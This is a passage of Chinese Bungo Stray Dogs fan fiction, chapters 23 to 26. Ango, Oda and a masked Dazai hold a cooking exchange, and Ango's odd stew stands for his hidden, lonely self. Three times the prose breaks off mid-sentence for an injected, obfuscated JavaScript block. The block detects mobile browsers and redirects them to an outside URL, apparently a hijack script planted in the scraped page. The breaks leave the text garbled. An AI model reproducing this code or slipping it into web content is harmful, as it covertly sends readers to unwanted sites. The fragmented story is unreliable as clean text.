久违地见到了少年时期胡闹的东西,坂口安吾眼睛里闪过几丝怀念,忍不住轻笑出声:“哈哈哈,现在一看安吾锅原来看起来这么可怕啊,难怪老师和同学们都吓成那个样子。” “正常人都会害怕吧?这已经不是有没有毒的问题了,总感觉吃了这个东西就连灵魂都会被腐蚀掉……”世界意识忍不住吐槽。 “是吧?正常人肯定都会像世界意识先生这么想吧?所以哪怕我一再解释安吾锅味道真的很不错也没有人愿意尝试。” 坂口安吾双眸微阖似乎陷入了过往的回忆,嘴角轻轻勾起一个像是轻松又像是苦涩的笑容:“也是呢,谁会冒着生命危险去吃这种东西……” 所以最后,安吾锅总是被安吾一个人吃掉了。 躲在家里后山的那片樱花林里,或者是躲在学校的某个空教室的角落,年少的坂口安吾拿起勺子把味道鲜美的不明物体一口一口吃掉,就像在咀嚼自己无人在意的灵魂。 大家似乎都是这样的,只要表面的样子做好了,内里如何根本没人会注意到。 以前他小的时候还以为只有家里那些老顽固才这么无趣,好不容易争取到出来上学的机会,这才发现原来这个世界上的所有人似乎也都没有太大的差别。 大家只需要在出门的时候穿一些合适的衣服,见面的时候说一些适当的话,相处的时候做一些合群的事就足够了,迎合这个规则的人就被接纳,拒绝这个规则的人就被排斥,仅此而已。 那些话是他真心想说的话吗?那件事是他真正想做的事吗?一个人真实的人性到底是什么样的?这些问题根本就没有人去关心。 在家里这十来年居然就是在被逼着学这种规矩,这个世界还真是无聊透顶。想到这里,年少的坂口安吾揉揉涨得有些难受的肚子,然后看着勺子里最后一口食物笑出了声: “没有人在意卖相奇特的你是否好吃,就像也没有人在意拒绝虚假的我是否真的是个疯子一样,我们还真是孤单得一脉相承,这可能就是传说中的物似主人形吧!” 说着,叛逆的少年把最后一口食物吃进嘴里,说出的话因为咀嚼而有点模糊:“决定了,我把我的名字分给你,从今天起你就叫安吾锅吧!” 没有人理解安吾,就像没有人尝过安吾锅。 23.第 23 章 坂口安吾把那一坨奇形怪状的不明物体分成三份,然后又把其中两份放在便当盒里包裹严实,在最后把东西拎出门想要送往以前固定的送餐地点时,他忽然又走回来,看着唯一还剩下的一坨不明物质沉默不语。 世界意识看他半天不动忍不住询问:“宿主,你怎么了?不是要给织田作之助和太宰治送安吾锅吗?” “不,我只是在想,安吾锅的样子果然还是太可怕了,把这种东西送给他们两个吃实在是太过失礼,要不我趁现在还有时间,做一道正常的汤给他们送过去吧?” 坂口安吾说着放下手里的袋子,走到厨房拿起那碗青紫颜色的流状物体,在垃圾桶和冰箱之间犹豫片刻,还是决定把安吾锅先藏进冰箱: “对,果然还是做一道正常一点的汤,织田作先生如今写作的压力也很大,要是吃坏了肚子就糟糕了……” “宿主,你还好吗?据你所说这碗东西其实是无毒无害的吧?”世界意识觉得安吾现在的状态有点不对劲,好像自认识以来他还没有这个样子过。 “毕竟那都是好多年之前的事了,也许我的记忆出现了错漏,也可能是我当时年轻身体好,而且那些年我过得乱七八糟的,就算有不良反应说不定也被更大的不良反应盖过去了……” “宿主?宿主?你怎么了?” “还有太宰君,想把他糊弄过去可能有一点难,不过没关系食材还剩一点,干脆就做一个蔬菜浓汤吧,然后放几条蟹腿。”安吾说着已经开始忙活起来了,拿出一个番茄没洗没切就要往锅里扔: “然后故意犯点把盐和糖搞混这样的小错,吃起来虽然有点刺激但是也无伤大雅…… 对,就应该这样,整体上来说还是一道普通正常的料理,只是偶尔有点小问题而已,这个时候就用个性啊特点啊之类的说辞糊弄过去,这样的菜比较容易让人接受……” “安吾?安吾?” “但是太宰君和织田作先生的口味比较独特,料理太过平常的话他们两个会感到无聊吧?这样,放点酱油染成黑色,然后再加点芥末。 没关系,我最擅长这种弄虚作假了,无论是在家里还是在异能特务科学习的都是类似的东西,记得考核我的长官还说过我有与生俱来的才能,简直生来就和该是个……” “别说了!安吾!别说了!”世界意识在安吾的脑海里大喊企图把人叫醒。 *“当有一天时代改变,港口mafia和异能特务科都不复存在,我们的立场更加自由之后,我们还能再来这里喝酒吗?” “别说了,安吾,别说了。”* 刚才还说个不停的安吾忽然感觉自己喉咙里像是堵了棉花,他嘴巴徒劳地开合了几下,最终还是一个字也没说出来。 看了一眼一片狼藉的厨房,本来预计要做的蔬菜浓汤甚至一直忘了开火,他安静地放下手里的厨具,像个傻子一样原地蹲下,沉默地抱住膝盖不动了。 我到底在干什么啊? 一次又一次地做出这种拙劣到令人发笑的伪装,手忙脚乱地给谎言打上越来越多的补丁,拼了命地想要掩盖真正的事实,最后谎言被戳破了,受骗的人理所当然地离开,留下他一个人面对满地狼籍,羞愧地就连一句辩解的话都说不出口。 能说什么呢? 我只是……我只是想把这盘糟糕的料理伪装的好看一点而已,我只是想迎合一下你们的兴趣,我只是不想把那么丑陋的东西直接拿给你们看,我只是…… “坂口学员,你在说谎时的心跳和脉搏根本看不出任何异常,各种情绪和反应也伪装得浑然天成,哪怕是最精于人性的罪犯也会被你骗过去吧。” 在情报中心的培训班里长官曾经这么跟他说过,眼神里还带着赞许和忌惮: “你在谎言一道有着与生俱来的才能,再加上那简直就是为了情报而生的异能力,你天生就是吃这碗饭的,坂口安吾。 你生来就和该是个愚弄众生的骗子。” 我只是想隐藏这个真相而已,最后还是搞砸了一切,真的很对不起。 世界意识面对这种情况也实在是不知道应该如何反应,它茫然无措地沉默了半个多小时,最后还是安吾自己站起来了。 他的表情看上去和平时没什么不同,情绪似乎也恢复了平静。 安吾一言不发地把凌乱的厨房收拾干净,把锅里那些忘记开火的材料全都倒掉,然后又把刚才放进冰箱的安吾锅拿出来,抬手看了一眼时间之后,他整理了一下衣着,拎着刚才打包好的那两盒安吾锅出门了。 “安吾?安吾你还好吗?”世界意识小心翼翼地问道。 “我很好,世界意识先生。很抱歉刚才给您添麻烦了。”坂口安吾神色如常:“只不过是有片刻的情绪外溢而已,现在已经整理好了。” “那就好,刚才你那个样子真的好可怕,我还以为你要坏掉了。”世界意识松了一口气:“对了,你怎么又送安吾锅了?不怕失礼或者他们俩吃坏肚子了吗?” “时间不够再做一道新菜了,而且以太宰君的头脑一道菜需要花费多少时间他还看不出来吗? 所以谎言都是要被拆穿的,还不如诚实一点。”安吾提着袋子打开车门,系上安全带开始往投递点开:“没关系,我这个人平时虚假得很,在这种无关紧要的细节用点真东西也不要紧,没人会在意的。” 而且仔细一想这不就是一道菜而已吗?能说明什么?就像织田作先生的辣咖喱和太宰君的活力清炖鸡一样,闲暇之时拿出来开开玩笑互相荼毒一下也就算了,我居然还为此大失方寸,回头一看真是病的不轻。 肯定是想起年少时的中二回忆太羞耻了,肯定是因为这样我才会变得不一样。 坂口安吾说服自己平复心情,努力把安吾锅和那些过往的回忆都当成一道黑暗料理丢在记忆的角落,他先是开车到给太宰君送饭的地点准备把东西寄出去,谁知道刚下车就在邮局的路口看到一个黑西装一脸焦急地躲在拐角探头探脑。 安吾:…… 好家伙,演都不演了,看来这次太宰君确实催得很急。 他目不斜视地走进邮局,熟练地把邮寄单填好贴在包裹上,装作没看见那个黑西装的样子走回车里,然后又开车往织田作先生的家开去。 照这个势头来看,想必我回家的时候就会在家门口看到太宰君寄来的硬豆腐了吧?也不知道到底是个什么样子的料理。安吾一边开车一边在心里胡思乱想,不一会儿就来到了织田作先生的楼下。 其实安吾和织田作先生是可以面对面开启这场厨艺交流会的,但是为了不让太宰君感到被孤立,他们都默契地装作没想起来这回事。 门铃按响之后很快就有人开门了,是还穿着白色围裙的织田作先生,看到安吾手里的食盒他头顶的呆毛摇晃几下,接过便当又把自己手里的盒子递过去: “D的那份我已经寄给他了,为了照顾你们的口味我特意少放了辣。” “这还真是多谢您的体谅了。”坂口安吾忍不住松了一口气:“我这一路都在想我们几个要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972981|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是辣出胃出血我要如何帮你们两个叫个120呢。” “我可以自己给自己叫救护车。”织田作之助顺着这个话题认真思考了片刻:“但是D就有点难办了,我不知道他住在哪里。” 安吾:…… “所以这个见鬼的厨艺交流会我们就一定要开吗?” “嗯,一定要开。”织田作之助握紧手里的食盒一脸认真:“因为我想吃你们两个做出来的独家料理。” 看到织田作先生如此看重手里的食盒,再一想到食盒里装的都是一些什么乌七八糟的玩意,坂口安吾欲言又止,最后还是叹一口气转身告别了: “您……您还是别太期待我和D先生的厨艺比较好,那我就先回去了,晚上会议室见。” “嗯,晚上见,安吾。” 在安吾离开之后,织田作之助把安吾的食盒和D还有自己的食盒摆在一起,顺手把身上的围裙摘下来之后,他拿起手机犹豫片刻,还是给D发了一条信息。 D,发生什么事了吗?我觉得安吾有点不对劲。——织田作 没有吧?安吾这一天不是应该都在忙着做安吾锅吗?他怎么不对劲儿了?——D 安吾已经很久没有用“您”这个词称呼我了,总觉得他身上肯定发生了一些事情……——织田作 可以确定的是安吾今天一天肯定都在做安吾锅,所以,如果他不对劲了问题就出在安吾锅上!——D 分析的很有道理,那么安吾锅有什么问题呢?——织田作 这一次,对面的D隔了很久才回复,似乎他自己也在努力思索。 其实我老早就在想了,织田作,你觉得一个人在什么情况下才会把自己的名字分给某一种物品?——D 这个问题让织田作之助也愣了一下。确实,正常情况下人是不会把自己的名字分给一个没有生命的物品的,安吾这个举动明显很不寻常。 我首先能想到的是某人第一次发明或者发现了这个东西,为了纪念发明者可能会出现这种情况吧,比如孔明灯这种。——织田作 勉强说得过去,但是这种情况一般是其他尊敬发明者的人自发的行为,作为发明者本人这很可能并不是他的本意。——D 还有一种情况是发明者对于自己的创造非常自豪,比如一些画家的自画像。——织田作 但是如果自豪那更应该昭告天下才对,看安吾的样子他应该根本就没与别人分享过这道料理。——D 织田作之助这下是真没什么其他的思路了,他放下手机开始努力思索更多的可能性,忽然放在电脑旁边的一只泰迪熊吸引了他的注意力。 那是咲乐小时候的玩偶,那时候她每天都要抱着它睡觉,还要给玩偶起个“阿织”的名字,说是因为晚上害怕的时候织田叔叔都会…… 织田作之助恍然大悟,他立刻拿起手机: 我知道了,这是一种心理需求和情感链接,就像孤独的孩子有时候会给玩偶起个名字,本质上是一种渴望陪伴的情感投射。 ——织田作 这一次对面也回的很快,似乎顺着这个思路D也想通了关窍: 这个思路很有道理!一般起的名字就代表了情感投射的对象,比如起与朋友相似的名字就代表想要朋友陪伴,起一些动画片人物的名字是希望与主人公一起冒险。——D 而安吾给那道料理起的名字是他自己,也就是说…… 织田作之助和D几乎是同时发出一条短信: 安吾锅就代表安吾他自己。 24.第 24 章 当天晚上五点半,属于三个人的会议室再次开启,看着织田作先生和太宰君桌子上放着的三个未开启的食盒,又低头看一看自己桌子上的三个食盒,坂口安吾莫名有一种吾命休矣的预感。 “晚上好啊,安吾!织田作!”太宰情绪非常高昂地和另外两人打着招呼,他看上去就完全不为自己今天晚上的遭遇担忧: “你们可不许打开盖子偷看哦,地狱绘卷套餐的菜品必须要由它的三个研发者一起揭晓!” “我没看过,D。”织田作之助毫不犹豫地答应下来:“但是我把这几道菜都拿到微波炉里热了一下。” “我也没看过,D先生。”坂口安吾心累地扶着额头:“说实话我甚至有点不敢面对盒子里的东西。” 光是我的安吾锅就已经够恐怖的了,太宰君的黑暗料理更是重量级,还有织田作先生那个辣度惊人的咖喱饭,鬼知道他口中的调低了辣度到底是个什么层次……光是想一想安吾就已经开始胃痛了。 太宰丝毫不体谅坂口安吾的担忧和恐惧,他非常满意地点点头,然后随手从一边的文件堆里抽出来一份卷起来当做话筒,自己则像个综艺节目主持人一样站了起来: “那么,地狱绘卷套餐的揭晓仪式正式开始!我们要先揭晓哪道料理呢?是颜色通红热情如火的咖喱饭?是硬度惊人光滑一块的硬豆腐?还是不可名状卖相可怖的安吾锅?” 坂口安吾:“D先生这不是都打开盖子偷看了个遍吗?让别人不许偷看结果您自己反而是唯一一个忍不住偷看的家伙啊!” 织田作之助摸着下巴陷入沉思,似乎真的陷入了艰难的抉择之中:“嗯……我选……想吃咖喱饭,但是对其他两个也很好奇,真是难以抉择啊……” 坂口安吾:“您在纠结什么啊织田作先生?D先生刚才不是都把料理的样子都说出来了吗?” 最后还是对咖喱饭的渴望占了上风,织田作之助一脸凝重地举起手:“我投咖喱饭一票。” “好的!看来D大人的硬豆腐还真是众望所归呢!当当当当——!就让我们先揭晓硬豆腐吧!”太宰说着一把揭开了自己的食盒盖子。 坂口安吾:…… 槽点太多,我吐槽吐得都累了。 坂口安吾也跟着打开太宰治的食盒,里面果然是一整块光滑圆润的豆腐,在灯光下还反射着瓷器一般的色泽,看上去比起豆腐更像是某种玉石一类的东西。 他伸出筷子试探性地戳一戳,硬邦邦的一块好像石头一样。 “这个东西要怎么吃?”安吾忍不住发出灵魂质问。 “诶嘿!我也不知道呢!也许直接上嘴啃就可以了吧?就像啃骨头那样!”太宰吐出舌头做了个鬼脸。 我信你个鬼!安吾谨慎地放下了手里的筷子。 织田作之助倒是把硬豆腐端起来想要啃上一口,忽然他的动作一顿,表情空白了一秒钟,随后把食盒又放下:“不行,刚才我看到我的牙被硌断了。” “居然触发了天衣无缝吗?D先生的料理果然很可怕啊!”坂口安吾的表情带着点后怕:“我就说不要太相信D先生的话了,织田作先生您以后还是长点教训吧!” 三个人折腾了半天也依然对这块坚硬如铁的豆腐没有丝毫办法,最后太宰治只好遗憾放弃,转而揭晓另一道菜品:“好吧,看起来硬豆腐的食用方法还未解锁呢,那么接下来就是织田作之助选手的辣咖喱饭!” 不出意外的食盒里是一盘红彤彤的辣咖喱盖饭,安吾还没凑近就已经能感觉到咖喱混合着辛辣的味道直往人鼻子里钻,他谨慎地评估了一下辣度,然后抬头看向织田作之助: “织田作先生,不是说特意减少了辣度吗?” 这看起来可一点也不像减少了的样子啊喂! “减少了,你们的辣度是我的一半。”织田作之助说着把自己那盘完全体端出来,本就红成一片的咖喱上面居然还撒了厚厚一层辣椒粉,织田作之助迫不及待地把咖喱辣椒粉和米饭拌在一起,隔着屏幕看去似乎盘子里的每一粒米都已经和辣椒进行了充分的融合。 织田作之助就这样在安吾惊恐的目光中舀了一勺饭送进嘴里,嚼了几口之后咽下去,然后拿起一边的水杯一饮而尽:“好像有一些咖喱店老板的精髓了,就是舌头有一点痛。” 坂口安吾:…… 太宰治:…… 这不就是被辣到了吗?你都能被辣到这咖喱饭也太惊人了吧! 他们两个人沉默片刻,太宰治率先舀起一勺辣咖喱和米饭拌在一起,在给自己倒了一大杯冰牛奶之后,他一脸英勇就义的表情把咖喱饭送进嘴里。 坂口安吾看得忍不住露出了痛苦面具。 果然,在下一个瞬间太宰治就忍不住呛咳起来,哪怕是带着面具安吾都能看到他的脖颈和耳朵红成一片,囫囵吞枣地把嘴里的东西咽下去之后,太宰治立刻拿起刚才准备好的冰牛奶一饮而尽,然后还不管用,他又拿起大盒的牛奶直接往嘴里灌。 “D先生,您还好吗?”安吾看着有点担心:“实在不行你去看一下医生……” “没问题!完全没问题!”放下空牛奶盒的太宰大着舌头竖起一个大拇指:“虽然刚开始有一点辣,但是吃起来还是很香的,真的!” 织田作之助再次轻而易举地相信了太宰治的话:“真的吗?太好了,果然减半了辣度是对的,你也能尝出来咖喱饭的美味了,D。”然后他又看向安吾:“安吾,你也试试看,很好吃的。” “对啊对啊,还挺好吃的。”太宰跟着附和,似乎是怕安吾不相信,他努力睁大泪汪汪的眼睛让自己看起来更加真诚:“真的很好吃哦,安吾也来尝尝看吧!” 安吾:…… 看着哪里像是没问题了? 哪怕都这样了也不忘记拉我下水吗? 面对着屏幕那边织田作先生期待的目光还有太宰君那明显想要看他热闹的眼神,安吾紧张地咽了咽口水,在给自己倒了一大杯冰水之后,他也舀起一勺咖喱饭:“我今天也算是舍命陪君子了,织田作先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977752|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,D先生。” 然后他闭着眼睛直接把勺子送进嘴里,还没来得及嚼就感觉舌头上火辣辣地泛起疼痛,安吾根本就不敢细细品味,没嚼几下就赶紧把那口饭咽了下去,然后一股灼烧感就顺着喉咙直奔五脏六腑,他赶紧拿起水杯咕咚咚一饮而尽。 “咳……咳咳……咳咳咳……”安吾缓了大半天才终于缓过气来,眼眶耳朵鼻尖全都红了,狼狈不堪地擦干净流出来的眼泪之后,他戴上眼镜叹一口气: “织田作先生,D先生,今天过后我们三个也是过命的交情了呢。” 明知道会这样还把那种要命的玩意吃进肚子,这怎么不算一种同生共死呢?至于死因是什么你别管。 “哈哈哈,哈哈哈哈哈哈哈!”太宰早就在看到安吾狼狈样的时候笑得直不起腰了,如今也终于笑累了,他擦着眼角笑出来的眼泪: “确实确实,刚才有一瞬间我甚至看到了三途川,真不愧是织田作的料理,轻而易举地就实现了我奔赴黄泉的愿望呢!” 织田作之助的心情看上去也很不错,他头上的呆毛愉快地晃动几下:“一起奔赴黄泉吗?那我们三个就是一起殉情了吧。” “咳咳咳!”本来就没缓过气来的安吾闻言又呛了一口水:“织田作先生,殉情不是这么用的……” “我觉得不错!”太宰语气愉快地举手附和:“虽然我的愿望一直是找一个美丽可爱的小姐一起殉情,不过如果是和你们两个一起的话那我也就勉为其难的接受吧!” “别接受!您别接受啊!”坂口安吾忍不住想要摇晃太宰的肩膀,但是由于隔着屏幕他只能不停摇晃桌上的笔记本电脑企图让他清醒一点: “我不想死!织田作先生也不想!还有D先生请您也好好活着!三个大男人死在一起也太猎奇了吧?感觉绝对会登上社会新闻的!” “诶?会吗?那果然还是找个美丽的小姐……” “都说了给我好好活着啊!织田作先生,您也说说D先生啊!” “嗯……我要先把孩子们养大成人,然后还要写出足够优秀的作品……D,我可以五十年之后再和你还有安吾殉情吗?” “诶?那要好久哦!不过既然是织田作的请求,那好吧……” “没人问我的意见吗?为什么你们两个就自说自话地商定下来了?” “五十年之后哦,安吾~”太宰笑眯眯地伸出五个手指头在屏幕前晃悠了一下:“你要是答应的话我可以晚点再死哦~” 五十年?坂口安吾下意识怔愣了一下,屏幕那边的织田作之助直接替他答应下来:“一言为定。” “好耶!!!一起殉情~”太宰欢呼一声,然后又开始大呼小叫地把注意力对准第三个食盒:“接下来就是安吾选手的料理啦,让我们掌声欢迎万众期待的安吾锅!” 坂口安吾看着欢呼雀跃的太宰治和跟着鼓掌的织田作之助犹豫了一下,最后还是什么也没说地略过了这个话题。 就像之前无数次在lupin的时候那样。 25.第 25 章 虽然第一道料理根本就没办法入口,虽然第二道料理差点把三人中的两个人送走,但是这丝毫不妨碍太宰和织田作之助对于第三道料理的期待。 比起他们两个的兴致勃勃,坂口安吾看上去就有点坐立难安了,他尽量装作淡定的样子,目光却移开不敢跟屏幕对视:“我劝你们还是不要太抱有期待比较好,安吾锅真的……” 他话还没说完,太宰治便迫不及待地掀开了最后一个盖子,里面的不明物质呈现出粘稠的质感,其中还包裹着一只死不瞑目的螃蟹,太宰治看过去的时候刚好和螃蟹四目相对,一时间一人一蟹就这么面面相觑,安吾觉得空气中都开始漂浮着淡淡的尴尬。 唉,最怕空气突然安静啊……他不忍直视地捂住眼睛。 “这里面还有螃蟹诶!”所幸太宰治的关注点总是不同寻常,他没有对这道菜惊世骇俗的外表发表什么看法,而是伸出筷子好奇地碰一碰外面那层史莱姆一样的东西:“这是什么做的?果冻吗?” “……不,那是因为煮了太久已经化成糊糊的各种蔬菜,可能有白菜萝卜生菜之类的吧,种类太多我也记不住了。” 坂口安吾完全不敢抬头去看另外两个人的反应,他已经不是那个有胆子拿着安吾锅到处安利的叛逆少年了,时间带走了他一往无前的自信和勇气,只剩下一个裹在健全社会常识里的胆怯成年人。 太宰抬头和织田作之助对视一眼,然后又低头认真看了看食盒里的安吾锅,外表虽然看着十分恐怖怪异,但是筷子戳下去的时候却意外地非常柔软,而且看起来里面还可以根据喜好容纳很多不同的食材,就像这次安吾锅里就放着自己喜欢的螃蟹。 心非常软和总是把很多事默默放在心里这两点的确和安吾很像,但是外表给人的感觉看上去就不太像如今的社畜常识人了,再加上这个把菜煮糊但是肉还完好的奇特烹饪方式…… “安吾,难道你以前是个叛逆的不良少年?”太宰忽然出声询问。 安吾大惊失色,一时间连难堪都忘了,仰起来的脸上带着被戳破黑历史之后的心虚和诧异,问话下意识脱口而出:“你怎么知道?” 果然是这样啊,太宰心里浮现出一种非常复杂的感觉,明明拥有无数世界太宰治的记忆,但是他第一次真正地靠近安吾的内心却是在自己的世界里,安吾把安吾锅分享给他,某种程度上来说就是安吾把心分享给他看。 这对一个成年人来说并不容易,尤其是对安吾那样心防很重的人来说,他必定要经历一番非常纠结痛苦的挣扎,最后才选择诚实地把这道安吾锅分享出去。 把心分享出去就代表把软肋分享出去了,就像如今安吾只能低着头忐忑地等待着自己和织田作的审判,如果他们选择批评或者伤害,安吾除了默默忍受痛苦之外根本就没有反抗的能力。 这次的料理分享大会其实并不公平,太宰治后知后觉地意识到这一点。 对于安吾来说他其实答应了一个非常无理的要求,但是他还是默默的做了,讽刺的是提出这个无理要求的人反而是一个把身份样貌都隐藏起来的神秘人,他甚至不知道这个神秘人叫什么名字。 安吾是笨蛋吗?这么过分的要求你倒是拒绝我啊…… 太宰君在没头没脑地问了那么一句之后就低头盯着安吾锅不知道在想些什么,安吾心里被他这一下搞得七上八下的。 怎么了?为什么忽然知道了我以前是个叛逆少年?难道太宰君真的从那道料理里看出来了什么?一想到这个可能性,安吾本来就忐忑的心就更加不安了。 不,不能吧?毕竟那只是一道料理而已,虽然卖相离谱了一点,但是太宰君自己的黑暗料理也不遑多让啊,这能看出来什么? 但是毕竟是有着“操心师”称号的太宰君,他的头脑也不是一般人能企及的,难道他真的看出来什么了?那他这是什么意思?在思考如何给彼此保留体面地拒绝这道料理? 还有织田作先生为什么也不说话?我的安吾锅就这么糟糕吗?比活力清炖鸡和超人精力锅还糟糕?当初面对那两个黑暗料理的时候他也没这样啊! 安吾不知不觉急出一头冷汗,强装淡定打算随便说点什么把安吾锅的事带过去:“其实我现在的厨艺不是……” “安吾,安吾锅看着好酷哦~”太宰左手托腮对着屏幕笑眯了眼睛,右手的筷子非常好奇地轻轻戳着食盒里质感柔软的果冻状物体:“敢对着所有传统的烹饪方式宣战,这是一道很勇敢的料理!” 安吾的瞳孔瞬间紧缩,脸上的表情出现了片刻空白,后半句话卡在嘴边忽然忘记了要说什么,整个人定住了一样坐在那里。 织田作之助拿起勺子舀了一块青紫色的蔬菜糊送进嘴里,闭上眼睛仔细品味了片刻之后他认真地点头: “口感很绵密,而且尝起来也非常鲜美,蔬菜煮到极致之后没想到反而意外地好吃。虽然看上去可怖,但是安吾锅其实是一道味道温柔的料理。” “是吗是吗?我也要尝尝!”太宰说着也夹起一筷子送进嘴里,随后惊喜大呼:“真的诶!还能尝到螃蟹的味道,蔬菜煮糊之后居然和海鲜的味道有一点像!感觉可以用来拌饭了,再淋上一点汤汁味道肯定非常不错!” 安吾终于反应过来,他感觉自己喉咙有点堵,赶紧低下头不让另外两个人发现自己的异样,他深呼吸几下压下涌上来的情绪,然后才自嘲地笑了一声: “对着如此恐怖的料理还能下筷子,我看勇敢和温柔的是你们两个吧……” “我们当然勇敢啦!安吾锅这样的隐藏美食只有勇敢者才配享用!”太宰兴致勃勃地又吃了一口安吾锅,忽然脑海里突发奇想,他舀了一勺安吾锅里的蔬菜糊放在织田作之助的辣咖喱饭上,然后闭着眼睛视死如归地吃进嘴里。 “啊!吃起来没有那么辣了,看来安吾锅的味道能很好地中和咖喱的辛辣呢!”太宰就像发现了新大陆一样跟织田作和安吾分享:“真的!吃起来比之前要好吃!” 于是织田作也学着太宰的样子舀了一勺安吾锅里的流体洒在咖喱饭上,在品尝过后他头顶的呆毛欢快地晃起来:“真的,舌头也不痛了,感觉可以媲美咖喱店老板的手艺。” 最后一个行动起来的是坂口安吾,他把咖喱饭送进嘴里的时候还是将信将疑:“真的假的?你们两个不会是在合起伙来捉弄我吧……” 居然是真的,安吾锅的蔬菜糊中和了咖喱饭的辣椒,吃起来真的没那么辣了,而且剩下的一点辛辣和安吾锅的鲜味也融合的非常完美。 “这下曲线救国了呢!咖喱饭和安吾锅全都大成功!”太宰情绪激昂地举起勺子宣布,然后把最后一口咖喱饭和安吾锅的混合体一口吃掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982212|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 坂口安吾低头看一看盘子里的咖喱饭,本来那红彤彤的样子就够吓人的了,再加上安吾锅那个青紫交加的颜色更是惨不忍睹,整盘米饭看着简直就像是在凶案现场里滚过一遍一样,看着看着他忍不住单手扶额轻笑出声: “虽然味道可以,但是这卖相真是太恐怖了,我觉得除了我们几个之外应该没人敢下筷子,所以支援咖喱店老板的计划还是大失败。” 织田作之助看一看盘子里的拌饭,也不得不承认安吾说的有道理:“那没办法了,看来地狱绘卷套餐就只能在我们内部享用了。” “好耶!那地狱绘卷套餐就是我们三个专享的秘密套餐啦!”太宰兴高采烈地举手宣布,随即他发现一个问题:“等一下,也就是说只有我的硬豆腐不能吃吗?” 织田作:…… 安吾:…… “那块豆腐太硬了,根本咬不动啊……”坂口安吾一脸无奈。 其实但凡有办法入口他和织田作先生都会去尝试一下的,就像上个世界的活力清炖鸡和超人精力锅一样,但是硬豆腐这个就真的没办法了…… “怎么这样?结果地狱绘卷套餐竟然只把我的硬豆腐踢出局了吗?”太宰治不开心,太宰治要闹了,他开始像个撒娇耍赖的小孩子一样在椅子上转来转去: “我不要!硬豆腐必须也要大成功才行!安吾和织田作排挤我!你们俩背着我偷偷组成了套餐!这是赤裸裸的美食霸凌!” “美食霸凌又是个什么东西啊?”安吾心累地叹一口气:“那你说怎么办?要不用电锯把豆腐切成小块儿?” “可是……切成小块不还是咬不动吗?”太宰治像个委屈巴巴的小孩子一样不服气地嘀嘀咕咕:“可恶!亏我还对硬豆腐很有信心的,绝对可以成为味道鲜美的得意之作……” “总之,你那块豆腐唯一的问题就是太硬了吧?”安吾被太宰磨得没办法,只好努力帮对方出谋划策:“有没有办法能把硬度降下来?在热水里煮久一点试试?” “那,那要煮多久?”太宰眼巴巴地抬头看过去。 “姑且煮个几小时试试看?”安吾提议。 “啊,我想到了。”织田作之助忽然开口:“安吾,你的安吾锅不是要煮八个小时吗?把硬豆腐加进去一起煮试试?” 安吾心情复杂:“还要接着做安吾锅?” “好主意,不愧是织田作!”太宰治瞬间蹦哒起来:“正好明天是周日,安吾,再做一次安吾锅吧?然后把硬豆腐加进去!” 太宰双手合十,可怜兮兮地拖长声音看着安吾:“安吾~,拜托你了,把我的硬豆腐加进去,我不想被踢出地狱绘卷套餐嘛~” 而面对太宰君的请求,坂口安吾一如既往地无法拒绝,他只能无奈地叹一口气:“我不保证一定能成功,毕竟你那个硬豆腐质地太坚硬了。” “太好了!那我们明天晚上继续开厨艺交流大会!”太宰治激动地一拍桌子:“我有预感,这次硬豆腐一定能成功的!” “那我也再做一次咖喱饭吧。”织田作之助头顶的呆毛愉快地摇晃几下:“明天就能见到地狱绘卷套餐的完全体了,我很期待。” “这都多亏了安吾锅!安吾锅太棒啦!”太宰治开心地展开手臂欢呼:“地狱绘卷套餐不能没有安吾锅!就像我和织田作不能没有安吾!” 26.第 26 章 在开完厨艺交流会的当天晚上,安吾久违地梦到了自己的少年时代。 贵族私立中学一间落灰的空教室里,穿着深色校服的少年正坐在角落里拿出一个饭盒打开,上课的铃声他置若罔闻,一手支着下巴一手随意地挖了一勺安吾锅送进嘴里。 年少的安吾校服外套要掉不掉地披在身上,里面的衬衫也只扣到第二颗纽扣,衣服上还有很多道泥土和破损的痕迹,带着圆框眼镜的斯文脸庞上在嘴角处有些许青紫,头发也乱糟糟的,看起来就像是刚刚和人打了一架。 “真是一群没有品味的胆小鬼……”他一边吃嘴里还不服气地嘀嘀咕咕:“明明就是一些连饭都不会做的人,居然还敢嘲笑我的安吾锅……活该你们挨揍!嘶……” 少年因为一时气愤扯动了嘴角的伤痕,他疼得下意识嘶了一声,然后看上去就更生气了:“打不过居然还叫打手,真是太无耻了!” “坂口,这不叫打手,我们这叫为朋友两肋插刀!哈哈哈,不过你这个独来独往的家伙肯定是不会懂了!” 那个超级讨厌的同学非常得意地把胳膊搭在另一个社会青年的肩上,上扬的嘴角都是嘲讽,满是恶意地看着跌坐在墙边的坂口安吾: 